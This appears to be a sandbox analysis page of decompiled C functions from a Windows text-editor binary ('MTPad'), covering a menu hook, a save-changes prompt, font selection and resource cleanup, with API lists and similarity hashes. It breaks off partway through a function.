Instruction Fuzzy Hash: 78213970E012699FDB60CB64CD45BDEB7B8FF09300F0081DAAA49E6241D6705AC18F60

Uniqueness

Uniqueness Score: -1.00%

Function 00810A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00810A20(int _a4, int _a8, long _a12) {
				signed int _v8;
				short _v11;
				short _v15;
				char _v16;
				int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t27;
				void* _t32;
				intOrPtr _t37;
				struct HHOOK__* _t39;
				intOrPtr _t41;
				int _t42;
				int _t43;
				intOrPtr _t44;
				signed int _t46;

				_t19 =  *0x869060; // 0xda7e2511
				_v8 = _t19 ^ _t46;
				_t43 = _a4;
				_t42 = _a8;
				_v16 = 0;
				_v15 = 0;
				_v11 = 0;
				if(_t43 != 3) {
					if(_t43 == 4) {
						GetClassNameA(_t42,  &_v16, 7);
						if(lstrcmpA("#32768",  &_v16) == 0) {
							_t41 =  *0x88199c; // 0x0
							_t37 =  *((intOrPtr*)(_t41 + 8));
							_t27 = _t37 - 1;
							if(_t27 >= 0 && _t27 < _t37) {
								 *((intOrPtr*)(_t41 + 8)) = _t27;
							}
						}
					}
				} else {
					GetClassNameA(_t42,  &_v16, 7);
					if(lstrcmpA("#32768",  &_v16) == 0) {
						_t44 =  *0x88199c; // 0x0
						_v20 = _t42;
						E00811C50( &_v20, _t44 + 4);
						_t43 = _a4;
						_t32 = _t32;
					}
				}
				_t39 =  *0x881998; // 0x0
				return E008159E6(CallNextHookEx(_t39, _t43, _t42, _a12), _t32, _v8 ^ _t46, _t39, _t42, _t43);
			}

0x00810a26
0x00810a2d
0x00810a31
0x00810a37
0x00810a3a
0x00810a3e
0x00810a41
0x00810a48
0x00810a88
0x00810a91
0x00810aa8
0x00810aaa
0x00810ab0
0x00810ab3
0x00810ab8
0x00810abe
0x00810abe
0x00810ab8
0x00810aa8
0x00810a4a
0x00810a51
0x00810a68
0x00810a6a
0x00810a77
0x00810a7a
0x00810a7f
0x00810a82
0x00810a82
0x00810a68
0x00810ac4
0x00810ae3

APIs

GetClassNameA.USER32(?,00000000,00000007), ref: 00810A51
lstrcmpA.KERNEL32(#32768,00000000), ref: 00810A60

Part of subcall function 00811C50: __recalloc.LIBCMT ref: 00811C8E

GetClassNameA.USER32(?,00000000,00000007), ref: 00810A91
lstrcmpA.KERNEL32(#32768,00000000), ref: 00810AA0
CallNextHookEx.USER32 ref: 00810ACE

Strings

#32768, xrefs: 00810A5B, 00810A9B

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: ClassNamelstrcmp$CallHookNext__recalloc
String ID: #32768
API String ID: 480024222-207879865
Opcode ID: b234ec0b4871fabbc5b68238b8ce845a46814a40bd6aa8aee56e8f0d45104059
Instruction ID: e08a3bb09251401d9a7783e36ecf2a166c353530e5c7a631710104a7a6b81987
Opcode Fuzzy Hash: b234ec0b4871fabbc5b68238b8ce845a46814a40bd6aa8aee56e8f0d45104059
Instruction Fuzzy Hash: 5F215C35A41219EFDB10DF64DC889EEBB7CFF45710B01855AE815D7240D7B0AA81CB92

Uniqueness

Uniqueness Score: -1.00%

Function 008072C0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E008072C0(void* __ebx, void* __ecx) {
				signed int _v8;
				char _v308;
				void* __edi;
				void* __esi;
				signed int _t9;
				struct HWND__* _t15;
				int _t18;
				signed int _t19;
				void* _t22;
				void* _t31;
				signed int _t33;

				_t22 = __ebx;
				_t9 =  *0x869060; // 0xda7e2511
				_v8 = _t9 ^ _t33;
				_t31 = __ecx;
				if(SendMessageA( *(__ecx + 4), 0xb8, 0, 0) == 0) {
					L5:
					__eflags = _v8 ^ _t33;
					return E008159E6(1, _t22, _v8 ^ _t33, _t30, _t31, _t32);
				} else {
					_t15 = GetParent( *(_t31 + 4));
					_t30 = _t31 + 0x15c;
					_t32 = _t15;
					wsprintfA( &_v308, "Save changes to %s ?", _t31 + 0x15c);
					_t18 = MessageBoxA(_t15,  &_v308, "MTPad", 0x33);
					if(_t18 != 2) {
						__eflags = _t18 - 6;
						if(__eflags != 0) {
							goto L5;
						} else {
							_t19 = E00807370(_t31, __eflags);
							__eflags = _t19;
							if(_t19 == 0) {
								goto L2;
							} else {
								goto L5;
							}
						}
					} else {
						L2:
						return E008159E6(0, _t22, _v8 ^ _t33, _t30, _t31, _t32);
					}
				}
			}

0x008072c0
0x008072c9
0x008072d0
0x008072d9
0x008072ec
0x00807350
0x00807354
0x00807364
0x008072ee
0x008072f2
0x008072f8
0x008072ff
0x0080730d
0x00807325
0x0080732e
0x00807342
0x00807345
0x00000000
0x00807347
0x00807347
0x0080734c
0x0080734e
0x00000000
0x00000000
0x00000000
0x00000000
0x0080734e
0x00807330
0x00807330
0x00807341
0x00807341
0x0080732e

APIs

SendMessageA.USER32 ref: 008072E4
GetParent.USER32(?), ref: 008072F2
wsprintfA.USER32 ref: 0080730D
MessageBoxA.USER32 ref: 00807325

Strings

Save changes to %s ?, xrefs: 00807307
MTPad, xrefs: 00807318

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Message$ParentSendwsprintf
String ID: MTPad$Save changes to %s ?
API String ID: 1966038634-1718077980
Opcode ID: a136a4ecba3e4a92bfcfbdd6b8252dffa1b307bcb6241cba6827d7769e8733c3
Instruction ID: 27120ac9227ffb01bba773e53521a6568a73ed726fc1d54028d3976eb6d8a29a
Opcode Fuzzy Hash: a136a4ecba3e4a92bfcfbdd6b8252dffa1b307bcb6241cba6827d7769e8733c3
Instruction Fuzzy Hash: B211C831B04204ABD724EB69ED5AFAA77A8FF48710F404159F909D73C0EA70AA55CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00807040 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00807040(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _v8;
				struct tagLOGFONTA _v68;
				signed int _v172;
				intOrPtr _v208;
				char _v228;
				signed int _t15;
				void* _t21;
				int _t28;
				void* _t30;
				void* _t37;
				void* _t40;
				signed int _t41;

				_t37 = __edi;
				_t30 = __ebx;
				_t15 =  *0x869060; // 0xda7e2511
				_v8 = _t15 ^ _t41;
				_push(__esi);
				_t39 =  &_v228;
				E0080AE50( &_v228);
				_v228 = 0x822d68;
				GetObjectA( *(__edi + 0x4c), 0x3c,  &_v68);
				_v172 = _v172 | 0x00000040;
				_t21 = E0080AEC0(GetActiveWindow(), _t39, __edi, _t39);
				_pop(_t40);
				if(_t21 == 1) {
					if(DeleteObject( *(__edi + 0x4c)) != 0) {
						 *(__edi + 0x4c) = 0;
					}
					_t28 = CreateFontIndirectA( &_v68);
					 *(_t37 + 0x4c) = _t28;
					_t35 =  *(_t37 + 4);
					SendMessageA( *(_t37 + 4), 0x30, _t28, 1);
				}
				_t22 = _v208;
				if(_v208 != 0) {
					E00815701(_t22);
				}
				return E008159E6(0, _t30, _v8 ^ _t41, _t35, _t37, _t40);
			}

0x00807040
0x00807040
0x00807049
0x00807050
0x00807053
0x00807054
0x0080705a
0x00807069
0x00807073
0x00807079
0x00807088
0x0080708d
0x00807091
0x0080709f
0x008070a1
0x008070a1
0x008070ac
0x008070b5
0x008070b8
0x008070be
0x008070be
0x008070c4
0x008070cc
0x008070cf
0x008070cf
0x008070e3

APIs

Part of subcall function 0080AE50: _memset.LIBCMT ref: 0080AE70
Part of subcall function 0080AE50: _memset.LIBCMT ref: 0080AE80
Part of subcall function 0080AE50: _memset.LIBCMT ref: 0080AE8D

GetObjectA.GDI32(?,0000003C,?), ref: 00807073
GetActiveWindow.USER32 ref: 00807080

Part of subcall function 0080AEC0: GetCurrentThreadId.KERNEL32 ref: 0080AED6
Part of subcall function 0080AEC0: EnterCriticalSection.KERNEL32(00880C68), ref: 0080AEE4
Part of subcall function 0080AEC0: LeaveCriticalSection.KERNEL32(00880C68), ref: 0080AEFE
Part of subcall function 0080AEC0: ChooseFontA.COMDLG32(?), ref: 0080AF08
Part of subcall function 0080AEC0: _memmove.LIBCMT ref: 0080AF28

DeleteObject.GDI32(?), ref: 00807097
CreateFontIndirectA.GDI32(?), ref: 008070AC
SendMessageA.USER32 ref: 008070BE

Strings

@, xrefs: 00807079

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: _memset$CriticalFontObjectSection$ActiveChooseCreateCurrentDeleteEnterIndirectLeaveMessageSendThreadWindow_memmove
String ID: @
API String ID: 490426879-2766056989
Opcode ID: 36d7f5568b11105290cc9870da2c4b4cbd09b945e6f4dd6ade454cc5c0ec25ba
Instruction ID: 991de8adf08c568fc2c4c2a505cd62135ca9de962530425e85dc85e512727b4e
Opcode Fuzzy Hash: 36d7f5568b11105290cc9870da2c4b4cbd09b945e6f4dd6ade454cc5c0ec25ba
Instruction Fuzzy Hash: F8112E70A14618EBDB20DBA5DC49B6EB7BCFF44740F008558F905E7281DB71A945CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0080B100 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0080B100(struct HMENU__* __eax, void* __ecx) {
				CHAR* _t14;
				void* _t17;

				_t4 = __eax;
				_t17 = __ecx;
				 *((intOrPtr*)(__ecx + 0x10)) = __eax;
				if(__eax == 0) {
					L2:
					_t14 = _t17 + 0x14;
					if(_t14 == 0) {
						L6:
						return _t4;
					}
					if(lstrlenA("(empty)") <= 0x103) {
						_t4 = lstrcpynA(_t14, "(empty)", lstrlenA("(empty)") + 1);
						goto L6;
					}
					return lstrcpynA(_t14, "(empty)", 0x104);
				} else {
					_t4 = GetMenuStringA(__eax, 0xe110, __ecx + 0x14, 0x104, 0);
					if(_t4 != 0) {
						return _t4;
					} else {
						goto L2;
					}
				}
			}

0x0080b100
0x0080b101
0x0080b103
0x0080b108
0x0080b125
0x0080b126
0x0080b12b
0x0080b16c
0x00000000
0x0080b16c
0x0080b13f
0x0080b166
0x00000000
0x0080b166
0x0080b156
0x0080b10a
0x0080b11b
0x0080b123
0x0080b16e
0x00000000
0x00000000
0x00000000
0x0080b123

APIs

GetMenuStringA.USER32(00000000,0000E110,?,00000104,00000000), ref: 0080B11B
lstrlenA.KERNEL32((empty),?,?,00808056), ref: 0080B138
lstrcpynA.KERNEL32(?,(empty),00000104), ref: 0080B14E
lstrlenA.KERNEL32((empty)), ref: 0080B15C
lstrcpynA.KERNEL32(?,(empty),00000001), ref: 0080B166

Strings

(empty), xrefs: 0080B133, 0080B148, 0080B157, 0080B160

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: lstrcpynlstrlen$MenuString
String ID: (empty)
API String ID: 1190328411-3693985619
Opcode ID: b116b45001fb1326fe7993236ddfc0c808e05b543ec271f7b7bf14b694544c66
Instruction ID: 12feecb549bbe22259c749e853bfacf5056d6e4cdedd0dd1b2e5e991a50fc0e5
Opcode Fuzzy Hash: b116b45001fb1326fe7993236ddfc0c808e05b543ec271f7b7bf14b694544c66
Instruction Fuzzy Hash: 58F09035704220BBE7755B54BC19EB6337CFB88B20B40052BB561E22D0D7B8A8468A61

Uniqueness

Uniqueness Score: -1.00%

Function 00809910 Relevance: 9.1, APIs: 6, Instructions: 128
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00809910(intOrPtr _a4) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				signed int _t46;
				struct HENHMETAFILE__* _t50;
				struct HENHMETAFILE__* _t51;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t64;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t91;
				signed int _t94;
				void* _t95;

				_push(0xffffffff);
				_push(E0081F8D6);
				_push( *[fs:0x0]);
				_t46 =  *0x869060; // 0xda7e2511
				_push(_t46 ^ _t94);
				 *[fs:0x0] =  &_v16;
				_t91 = _a4;
				_v8 = 7;
				_t49 =  *((intOrPtr*)(_t91 + 0x52c));
				if( *((intOrPtr*)(_t91 + 0x52c)) != 0) {
					E00815DE2(_t49);
					_t95 = _t95 + 4;
					 *((intOrPtr*)(_t91 + 0x52c)) = 0;
				}
				 *((intOrPtr*)(_t91 + 0x530)) = 0;
				 *((intOrPtr*)(_t91 + 0x534)) = 0;
				_t50 =  *(_t91 + 0x510);
				if(_t50 != 0) {
					DeleteEnhMetaFile(_t50);
					 *(_t91 + 0x510) = 0;
				}
				_t51 =  *(_t91 + 0x4f0);
				if(_t51 != 0) {
					DeleteEnhMetaFile(_t51);
					 *(_t91 + 0x4f0) = 0;
				}
				if( *((intOrPtr*)(_t91 + 0x4ec)) != 0) {
					 *((intOrPtr*)(_t91 + 0x4ec)) = 0;
				}
				_t52 =  *((intOrPtr*)(_t91 + 0x4d8));
				if( *((intOrPtr*)(_t91 + 0x4d8)) != 0) {
					E00815701(_t52);
				}
				_t53 =  *(_t91 + 0x4bc);
				if(_t53 != 0) {
					GlobalUnlock(_t53);
					GlobalFree( *(_t91 + 0x4bc));
					 *(_t91 + 0x4bc) = 0;
				}
				_t54 =  *(_t91 + 0x4b8);
				if(_t54 != 0) {
					ClosePrinter(_t54);
					 *(_t91 + 0x4b8) = 0;
				}
				_t85 = _t91 + 0x250;
				_v20 = _t85;
				_v8 = 8;
				_t55 =  *(_t85 + 0x4c);
				if(_t55 != 0 && DeleteObject(_t55) != 0) {
					 *(_t85 + 0x4c) = 0;
				}
				E00807560(_t85 + 0x24);
				_v8 = 4;
				_t86 =  *((intOrPtr*)(_t85 + 0x14));
				if( *((intOrPtr*)(_t85 + 0x14)) != 0) {
					E00815701(_t86);
				}
				_t87 = _t91 + 0x224;
				_v20 = _t87;
				_v8 = 9;
				_push( *((intOrPtr*)(_t87 + 0x28)));
				E008162C2();
				_v8 = 3;
				_t88 =  *((intOrPtr*)(_t87 + 0x14));
				if( *((intOrPtr*)(_t87 + 0x14)) != 0) {
					E00815701(_t88);
				}
				_t60 =  *((intOrPtr*)(_t91 + 0x108));
				if( *((intOrPtr*)(_t91 + 0x108)) != 0) {
					E00815DE2(_t60);
					 *((intOrPtr*)(_t91 + 0x108)) = 0;
				}
				 *((intOrPtr*)(_t91 + 0x10c)) = 0;
				 *((intOrPtr*)(_t91 + 0x110)) = 0;
				_v8 = 1;
				E0080BA00(_t91 + 0x54);
				_v8 = 0;
				_t64 = E00805090(_t91 + 0x3c);
				_v8 = 0xffffffff;
				_t92 =  *((intOrPtr*)(_t91 + 0x14));
				if( *((intOrPtr*)(_t91 + 0x14)) != 0) {
					_t64 = E00815701(_t92);
				}
				 *[fs:0x0] = _v16;
				return _t64;
			}

0x00809913
0x00809915
0x00809920
0x00809925
0x0080992c
0x00809930
0x00809936
0x00809939
0x00809940
0x0080994a
0x0080994d
0x00809952
0x00809955
0x00809955
0x00809961
0x00809967
0x0080996d
0x00809975
0x00809978
0x0080997a
0x0080997a
0x00809980
0x00809988
0x0080998b
0x0080998d
0x0080998d
0x00809999
0x0080999b
0x0080999b
0x008099a1
0x008099a9
0x008099ac
0x008099ac
0x008099b1
0x008099b9
0x008099bc
0x008099c9
0x008099cf
0x008099cf
0x008099d5
0x008099dd
0x008099e0
0x008099e6
0x008099e6
0x008099ec
0x008099f2
0x008099f5
0x008099f9
0x008099fe
0x00809a0b
0x00809a0b
0x00809a12
0x00809a17
0x00809a1b
0x00809a20
0x00809a23
0x00809a23
0x00809a28
0x00809a2e
0x00809a31
0x00809a38
0x00809a39
0x00809a3e
0x00809a42
0x00809a4a
0x00809a4d
0x00809a4d
0x00809a52
0x00809a5a
0x00809a5d
0x00809a65
0x00809a65
0x00809a6f
0x00809a75
0x00809a7b
0x00809a7f
0x00809a88
0x00809a8b
0x00809a90
0x00809a97
0x00809a9c
0x00809a9f
0x00809a9f
0x00809aa7
0x00809ab5

APIs

DeleteEnhMetaFile.GDI32(?), ref: 00809978
DeleteEnhMetaFile.GDI32(?), ref: 0080998B
GlobalUnlock.KERNEL32(?,DA7E2511,?,?,?,?,?,0081F8D6,000000FF,?,0080982C), ref: 008099BC
GlobalFree.KERNEL32 ref: 008099C9
ClosePrinter.WINSPOOL.DRV(?,DA7E2511,?,?,?,?,?,0081F8D6,000000FF,?,0080982C), ref: 008099E0
DeleteObject.GDI32(?), ref: 00809A01

Part of subcall function 00815DE2: HeapFree.KERNEL32(00000000,00000000,?,0081755E,00000000,?,?,00817A12,008163ED,?,?,?,0080128C,80004005), ref: 00815DF8
Part of subcall function 00815DE2: GetLastError.KERNEL32(00000000,?,0081755E,00000000,?,?,00817A12,008163ED,?,?,?,0080128C,80004005), ref: 00815E0A

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Delete$FileFreeGlobalMeta$CloseErrorHeapLastObjectPrinter.Unlock
String ID:
API String ID: 3967346493-0
Opcode ID: a84d2500aa8fa98951f555fe42a975bd4e057566ebbba1ad70ddf245d4d15ec2
Instruction ID: 0f5101e99a0a13535e60aa678f68fb38e8202f94735dd6ac241579146b85ca90
Opcode Fuzzy Hash: a84d2500aa8fa98951f555fe42a975bd4e057566ebbba1ad70ddf245d4d15ec2
Instruction Fuzzy Hash: 99518AB1900B45EBCB20DFA9DC84A9AFBE8FF44300F50492EE59AD3682C774B9448F51

Uniqueness

Uniqueness Score: -1.00%

Function 00812A90 Relevance: 9.1, APIs: 6, Instructions: 119
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00812A90(CHAR* __eax, void* __ebx, void* __ecx, int _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v8;
				void* __edi;
				void* __esi;
				int _t40;
				int _t42;
				void* _t60;
				void* _t62;
				CHAR* _t80;
				CHAR* _t82;
				intOrPtr* _t85;
				void* _t89;
				void* _t90;
				intOrPtr _t92;

				_t62 = __ebx;
				_push(__ecx);
				_t80 = __eax;
				_t40 = 0;
				if(__ebx == 0) {
					_v8 = 0;
				} else {
					_t1 = _t62 - 0x24; // 0x0
					_v8 = _t1;
				}
				_t4 = _t62 + 4; // 0x28
				_t89 = _t4;
				if(_t80 != _t40) {
					_t40 = lstrlenA(_t80);
				}
				E00805F10(_t40, _t89, _t80);
				_t82 = _a4;
				_t6 = _t62 + 8; // 0x2c
				_t90 = _t6;
				if(_t82 != 0) {
					_t42 = lstrlenA(_t82);
				} else {
					_t42 = 0;
				}
				E00805F10(_t42, _t90, _t82);
				_t85 = _v8 + 0x24;
				 *((intOrPtr*)(_t62 + 0x14)) = _a8;
				 *((intOrPtr*)(_t62 + 0x18)) = _a12;
				 *(_t62 + 0x1c) = 1;
				if(E008135A0( *((intOrPtr*)(_t62 + 4)), _t85, _a8) != 0 || E00812580( *((intOrPtr*)(_t62 + 0x18)),  *((intOrPtr*)(_t62 + 0x14)), _t85,  *((intOrPtr*)(_t62 + 4)),  *(_t62 + 0x1c)) != 0) {
					if(_t85 == 0) {
						_a4 = 0;
					} else {
						_a4 = _t85 - 0x24;
					}
					 *((intOrPtr*)(_t85 + 0x24)) = SetCursor(LoadCursorA(0, 0x7f02));
					SendMessageA( *(_a4 + 4), 0x43f, 1, 0);
					_a4 = 0;
					do {
						_a4 = _a4 + 1;
						SendMessageA( *(_v8 + 4), 0xc2, 0,  *(_t62 + 8));
					} while (E00812580( *((intOrPtr*)(_t62 + 0x18)),  *((intOrPtr*)(_t62 + 0x14)), _t85,  *((intOrPtr*)(_t62 + 4)),  *(_t62 + 0x1c)) != 0);
					return E008136B0(_t85, _a4);
				} else {
					_t92 =  *((intOrPtr*)(_t62 + 4));
					if(_t85 == 0) {
						_t60 = 0;
					} else {
						_t60 = _t85 - 0x24;
					}
					_t20 = _t60 + 0x24; // 0x806d70
					 *(_t85 + 0x10) = 1;
					return E00813810(_t20, _t92);
				}
			}

0x00812a90
0x00812a93
0x00812a96
0x00812a98
0x00812a9c
0x00812aa6
0x00812a9e
0x00812a9e
0x00812aa1
0x00812aa1
0x00812aa9
0x00812aa9
0x00812aae
0x00812ab1
0x00812ab1
0x00812aba
0x00812abf
0x00812ac2
0x00812ac2
0x00812ac7
0x00812ace
0x00812ac9
0x00812ac9
0x00812ac9
0x00812ad7
0x00812ae9
0x00812aed
0x00812af0
0x00812af3
0x00812b01
0x00812b44
0x00812b4e
0x00812b46
0x00812b49
0x00812b49
0x00812b6b
0x00812b7c
0x00812b82
0x00812b90
0x00812b99
0x00812ba5
0x00812bc0
0x00812bd4
0x00812b1c
0x00812b1c
0x00812b21
0x00812b28
0x00812b23
0x00812b23
0x00812b23
0x00812b2b
0x00812b2e
0x00812b3f
0x00812b3f

APIs

lstrlenA.KERNEL32(00000260,?,8189C294,00806D4C,?,00811881,5204418B,8189C294,8189C294,?,?,0080FD16,?,00806D4C,?,?), ref: 00812AB1
lstrlenA.KERNEL32(?,?,8189C294,00806D4C,?,00811881,5204418B,8189C294,8189C294,?,?,0080FD16,?,00806D4C,?,?), ref: 00812ACE
LoadCursorA.USER32 ref: 00812B5C
SetCursor.USER32(00000000,?,00811881), ref: 00812B63
SendMessageA.USER32 ref: 00812B7C
SendMessageA.USER32 ref: 00812BA5

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: CursorMessageSendlstrlen$Load
String ID:
API String ID: 2433542616-0
Opcode ID: fb2b4a480f30a7501e41d73987c1a5a7f5954e967818d2686a96b180c45db138
Instruction ID: ee4fd39a2b1c6b0b2773cebdc05540af9d759c2eb674bc408f1db5cc281947f2
Opcode Fuzzy Hash: fb2b4a480f30a7501e41d73987c1a5a7f5954e967818d2686a96b180c45db138
Instruction Fuzzy Hash: DB413A75600204EFCB14DF54C984AAABBA9FF88750F148059ED09CB346EB70E9A1CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0080BA00 Relevance: 9.1, APIs: 6, Instructions: 108
windowCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0080BA00(intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _t35;
				struct HMENU__* _t40;
				void* _t41;
				void* _t42;
				intOrPtr _t47;
				intOrPtr _t71;
				signed int _t73;
				void* _t74;

				_push(0xffffffff);
				_push(E0081F6F0);
				_push( *[fs:0x0]);
				_t35 =  *0x869060; // 0xda7e2511
				_push(_t35 ^ _t73);
				 *[fs:0x0] =  &_v16;
				_t71 = _a4;
				_v8 = 1;
				_t4 = _t71 + 0x5c; // 0xcccc0004
				if(IsWindow( *_t4) != 0) {
					_t5 = _t71 + 0x5c; // 0xcccc0004
					_t6 = _t71 + 0x6c; // 0x6aec8b55
					if( *_t6 == GetWindowLongA( *_t5, 0xfffffffc)) {
						_t7 = _t71 + 0x74; // 0xa1640081
						_t8 = _t71 + 0x5c; // 0xcccc0004
						if(SetWindowLongA( *_t8, 0xfffffffc,  *_t7) != 0) {
							 *(_t71 + 0x74) = DefWindowProcA;
							 *(_t71 + 0x5c) = 0;
						}
					}
				}
				_t11 = _t71 + 0x44; // 0x1f34
				_t40 =  *_t11;
				if(_t40 != 0 && ( *(_t71 + 0x58) & 0x00000002) == 0) {
					DestroyMenu(_t40);
				}
				_t15 = _t71 + 0x48; // 0x10845f6
				_t41 =  *_t15;
				if(_t41 != 0) {
					ImageList_Destroy(_t41);
				}
				_t16 = _t71 + 0xa4; // 0xfc45c700
				_t42 =  *_t16;
				if(_t42 != 0 && DeleteObject(_t42) != 0) {
					 *(_t71 + 0xa4) = 0;
				}
				_t18 = _t71 + 0x6c; // 0x6aec8b55
				_t43 =  *_t18;
				if( *_t18 != 0) {
					E00815701(_t43);
				}
				_t19 = _t71 + 0x4c; // 0xe8560974
				_t44 =  *_t19;
				if( *_t19 != 0) {
					E00815DE2(_t44);
					_t74 = _t74 + 4;
					 *((intOrPtr*)(_t71 + 0x4c)) = 0;
				}
				 *((intOrPtr*)(_t71 + 0x50)) = 0;
				 *((intOrPtr*)(_t71 + 0x54)) = 0;
				_v8 = 2;
				_t24 = _t71 + 0x34; // 0xcccccccc
				_t45 =  *_t24;
				if( *_t24 != 0) {
					E00815701(_t45);
				}
				_t25 = _t71 + 0x14; // 0xf33b1476
				_t46 =  *_t25;
				if( *_t25 != 0) {
					E00815DE2(_t46);
					_t74 = _t74 + 4;
					 *((intOrPtr*)(_t71 + 0x14)) = 0;
				}
				 *((intOrPtr*)(_t71 + 0x18)) = 0;
				 *((intOrPtr*)(_t71 + 0x1c)) = 0;
				_t29 = _t71 + 8; // 0xffffb600
				_t47 =  *_t29;
				if(_t47 != 0) {
